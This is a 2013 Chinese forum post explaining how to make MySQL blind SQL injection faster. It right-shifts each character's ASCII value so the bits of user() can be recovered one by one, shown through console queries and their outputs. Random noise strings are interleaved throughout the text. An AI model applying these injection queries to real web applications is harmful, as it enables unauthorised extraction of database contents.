找回密码
 立即注册
查看: 2577|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位$ R5 m& M! _2 T% o3 g6 [2 Y4 l

: ~1 P  p4 I: N. _. Q
# U; X  s- O1 ~" }/ I# B, u) `$ z  s$ g+ n" f$ b
下面将以查询mysql数据库当中user()的第一位为例:3 k/ [/ A' y  I8 k, x

1 @6 `; U) o! X2 x+ o  S
0 [1 S  n6 U& `5 {9 D  ^! v( w9 `3 l+ D. q( B# I- L
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)+ s+ r" j: q( k8 k/ i
+ k: O- l6 [) V+ |/ i, j  p) u

: M2 `/ g8 U5 Q1 h: e, T
3 E7 x; c  a0 \! Y首先执行如下sql语句:
) w# l+ l9 c9 K# N% H' X! f, O+ c3 o4 A
( H- s0 n1 n( j. A
3 e5 U6 T) Z# A+ A5 W' L
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;% m# X* M! w; c: u2 C) F
4 B& Z- Y$ r  y

$ I- o+ g6 w. e5 P+ w' I8 `( y/ m  {
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
% A( |6 |) e( |* B2 s( F: h
& i' l$ f! Q# n8 H, v$ x) P  L
. l! Q2 f0 h, j. F1 N, W# ]# n, {* j& d; Y1 @
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1) n, K8 b3 f3 X

; @5 s' D* m4 }* m# c( O3 f 2 N# E1 K, U- b/ d# {2 S5 ]$ b

" i' d0 ^# v6 r: @, j如果运算结果为1,说明第一位为0,不为1
" i2 D1 g9 F; L% y1 ]$ d& y  O! c/ L; ^$ w0 R8 j

! H! e' ?5 h- b% T( f5 d, D
$ |- T% [! X0 Y! J" s+————————————–+
( _% u+ E4 j8 h3 |1 p4 _9 e3 f- R5 ?: v
| (ascii((substr(user(),1,1))) >> 7)=0 |
1 t9 s! r8 v+ @: W& P0 p8 Q; w$ m5 `0 [
+————————————–+# r, s6 ^4 `) |8 j

: E7 O0 C$ v) c; F0 i4 g( ^9 z| 1 |! D1 u3 U3 |# A0 k
+ g  t3 z/ j- u; g8 @* B
+————————————–+
2 G$ j/ [7 B. Z4 d$ K
  B# Y% _0 T4 ]$ J  q" u1 row in set (0.00 sec)! E  o" b$ d1 X! O% I- T: y

3 H% L/ J0 h) P/ q这样我们就确定这个8bit的ascii的第一位为0! e) g% B+ S2 W& r

0 \3 i0 q( d0 x6 A7 E7 ^4 e
  w9 ^* h7 M3 A# J, A
/ r& W8 ]" f2 l第二次我们来做6次右偏移来确定前两位1 p! `/ C9 x" i- E* Q# w0 S

* z* P% \% I7 z( L* n3 _5 j# x 8 ]3 z% z- H. g- M7 X6 F

5 D6 w5 ]9 f/ C0 l: ~; E前两位可能是01或00,即依然可以与0做比较,* `/ r9 E4 B5 Y; m, M6 e! Y. N$ d/ B5 V
- b" h" e" V: h  E0 _
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
0 y  @. B- P2 J3 c3 c0 \5 E3 q3 b5 s$ m. k2 p" J+ I$ X- f
+————————————–+
4 d) X1 J5 _% u3 o- A
  c# U& j$ a- ?: || (ascii((substr(user(),1,1))) >> 6)=0 |" m- Z, e# T4 e+ J1 x1 R

6 p5 W0 \- a* N0 V: L* B2 Z6 ?, W+————————————–+' w+ F$ x; _, b2 w" ~9 u8 _

5 Z. U1 D, R# V; X3 ]9 t* [$ G| 0 |
) J. H! ~; V' j+ p0 s  Y
, Y0 m. C% b8 b6 c+————————————–+3 j: Q0 b4 ?! L. G$ v
8 |) a- B. x- `
1 row in set (0.00 sec): B+ v+ [/ \3 y! F

( o3 j$ d" a  J) ] - ]$ e! M$ N7 G2 m8 e1 y
' V- K! i! v# g6 d6 |
结果为0,即第二位为1
* `6 B0 d, ~7 t. p+ g* ~
, x8 W$ ?2 {" p  B2 \" _$ d0 v2 J " l% }" o0 \4 O1 B7 l
0 H' Y! p# S8 `* B1 y" x1 s
开始猜测前三位为010或011
5 ^( ?+ V( t$ l, u% E
4 m6 s! [* J+ Y! m
" E* R+ P. l7 L0 M5 V3 m  h: k$ y9 @3 t7 k
让我们看看010和011的ascii码是多少) s7 z1 ]8 b7 G- F+ _

* r! a$ `" X. R- D5 A 6 x+ E. A" r! _- q! |

. E8 J5 A: J6 U: s分别查询select b’011′ select b’010′" A- j  q* Z9 g" s/ F) f
0 S! r1 l; J* k& h& x4 p/ F

7 D: X4 v% D6 Q; z' R
& u! g& b7 }: p0 |; T获得结果 010 = 2 011 = 3
" h- l, C4 q7 v' ]( `! K8 N
7 d# v3 p0 ?7 M # K6 f5 u- Z1 r- {+ J5 {/ t( s
2 ^% Q2 P4 T0 V7 L
执行如下sql:* f- n1 }# _0 }4 G) G( Q/ U
1 t1 m6 t* y1 a" _6 p0 w9 f

' |) K! m3 b/ I7 I; {7 p; K$ f5 q. M
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 i; a7 x; G% M+ J; u/ E1 y
& _& K/ }6 w, H3 a: [8 L; ?+————————————–+2 i. b% F8 L0 @1 r
8 u, h+ G' s/ f4 Z7 M  B+ |! U) t  ~
| (ascii((substr(user(),1,1))) >> 5)=2 |
) F( z8 m% n$ U  L3 h) Y! n) L. P
+————————————–+
  J9 a$ M+ _) N3 U3 u+ w7 G0 v; n1 o) n) f4 m$ k$ ~
| 0 |6 C; a" B7 _# w( ?( \; z
) B8 v+ F& X$ _; }
+————————————–+1 ^" v7 G; S$ K" L8 Q9 m

- ]2 W2 l' s1 b2 z$ ~即前三位不为010,而是011- n! _2 y8 H9 y: A

# D. a4 G1 X; i# w% @: P' ^
1 f. g9 s2 T  f5 C% v8 @" C' X8 o$ M/ K4 F/ {$ \' ]) Z6 |
直到获得最后一位$ E. y, d) r$ T$ h' y$ G
/ V) X& @5 G* w' U; G
2 \; w5 g9 W0 A& I

2 Z8 K* v8 q' |. d最终结果为:01110010+ k' O7 `6 B9 h- [8 ^$ i

. B4 X" z5 X- w" y/ G. R
! t! h6 n6 J! Y: q; ]8 R: P6 E( M" S
转换一下:! }  O# ]# j2 q

+ u+ N9 E3 l( B0 ~/ Z 0 p2 N- u. M" z. b& a
+ R+ U: M/ t; v$ D4 \4 a
select b’01110010′
8 u& F+ Y, [# j. D
& n, N+ @2 s- S" b3 ~; ~ & }( C  c- [' T( ^. P% N5 y3 b

/ s# F: V1 Y5 d查询结果5 ~4 S; h7 ?; R/ ~1 ^  e
0 ~( U# }' q. a& k9 e# T- X

/ A% U- G6 b* ^. `$ d$ I9 D, h0 W
* H5 N$ E% K) n1 ~  D+————-+. R/ }2 O2 Z" f- s  y

! V  W1 B7 Q8 z" g9 ?8 X- o7 ]| b’01110010′ |
+ F  @1 Y2 m  N& y
5 ?* {& u1 \; e  K( a4 a. b+————-+
0 x9 t2 w. @% |: f/ V; E9 v# A& Q+ [/ O
" ], T5 G( c7 I& Y( m| r |8 `1 L0 r7 _  e6 H
* g+ x  A9 s4 N/ j5 W' w" Z. m
+————-+
, S1 i& ]8 k! `9 d' _
6 v5 t& H6 h) Q1 V. ^$ d1 row in set (0.00 sec)& C6 y# g6 Y& {9 p7 O) [

" j* A* K) }. ~2 l6 w 0 p: B( v' y0 V2 L" |

. g7 i; p; C7 u) q5 l这样我们就获得了user()的第一位.其它位依此类推
: x8 V5 Z% Y$ ^# }: i! U/ }
4 L0 h' a0 n/ g0 c8 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表